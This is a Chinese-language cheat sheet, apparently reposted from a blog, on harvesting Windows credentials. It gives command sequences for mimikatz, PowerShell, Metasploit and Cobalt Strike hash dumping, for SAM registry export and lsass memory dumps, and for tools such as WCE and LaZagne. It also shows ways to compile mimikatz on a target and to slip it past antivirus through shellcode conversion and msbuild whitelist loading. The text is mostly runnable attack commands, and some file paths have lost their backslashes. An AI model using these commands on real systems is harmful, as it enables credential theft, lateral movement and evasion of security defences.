抓密码总结

0x01 在线抓密码

(1)mimikatz

privilege::debug
token::whoami
token::elevate
lsadump::sam

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

(2)ps脚本

powershell -exec bypass
Import-Module .Get-PassHashes.PS1
Get-PassHashes

(3)msf

run hashdump
hashdump
post/windows/gather/credentials/domain_hashdump(获取域hash)
use mimikatz
wdigest(明文)

(4)cs

hashdump
wdigest
logonpasswords(明文)



0x02 离线抓密码

(1)SAM(卷影副本、注册表)

reg save hklmsam sam.hiv
reg save hklmsystem system.hiv
lsadump::sam /sam:sam.hiv /system:system.hiv (mimikatz)


(2)lsass.exe(注入lsass.exe进程,并从其内存中提取)

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"


(3)手工导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件

点击创建转储文件

0x03 其他工具

(1)Quarks PwDump
命令:quarksPwDump.exe –dhl -o hash.txt

(2)WCE
命令:wce.exe -w(抓取明文)、wce.exe –l(抓取hash)

(3)LaZagne

LaZagne windows

0x04 特殊环境

4.1 限制上传文件长度时导出凭据的方法

如果实际的测试环境对上传文件的长度做了限制,这里给出的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译
参考三好学生链接
为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本
编译代码

C:WindowsMicrosoft.NETFramework64v3.5>csc.exe 1.cs /unsafe


导出凭据的命令:

1.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

4.2 限制下载文件长度时导出凭据的方法

在c#文件中加载mimikatz的方法,实现以下功能:
下载地址
1.获得lsass.exe进程的dmp文件并保存到temp目录
2.从dmp文件导出凭据
3.删除dmp文件
很多实际情况环境对下载文件做了大小限制
编译命令

C:WindowsMicrosoft.NETFramework64v3.5>csc.exe downloadmimikatz.cs /unsafe

然后直接执行exe

0x05 mimikatz bypass

1.PE to shellcode
下载地址

pe2shc.exe mimikatz.exe mimi.txt
runshc64.exe mimi.txt

这个方法不太行了

2.c#加载mimikatz

cscript mimikatz.js

3.白名单加载mimikatz

使用白名单程序msbuild进行进行加载xml文件

C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe mimikatz.xml

4..net4.0加载mimikatz

C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe executes-mimikatz.xml

原文地址:https://www.cnblogs.com/yicunyiye/p/13958451.html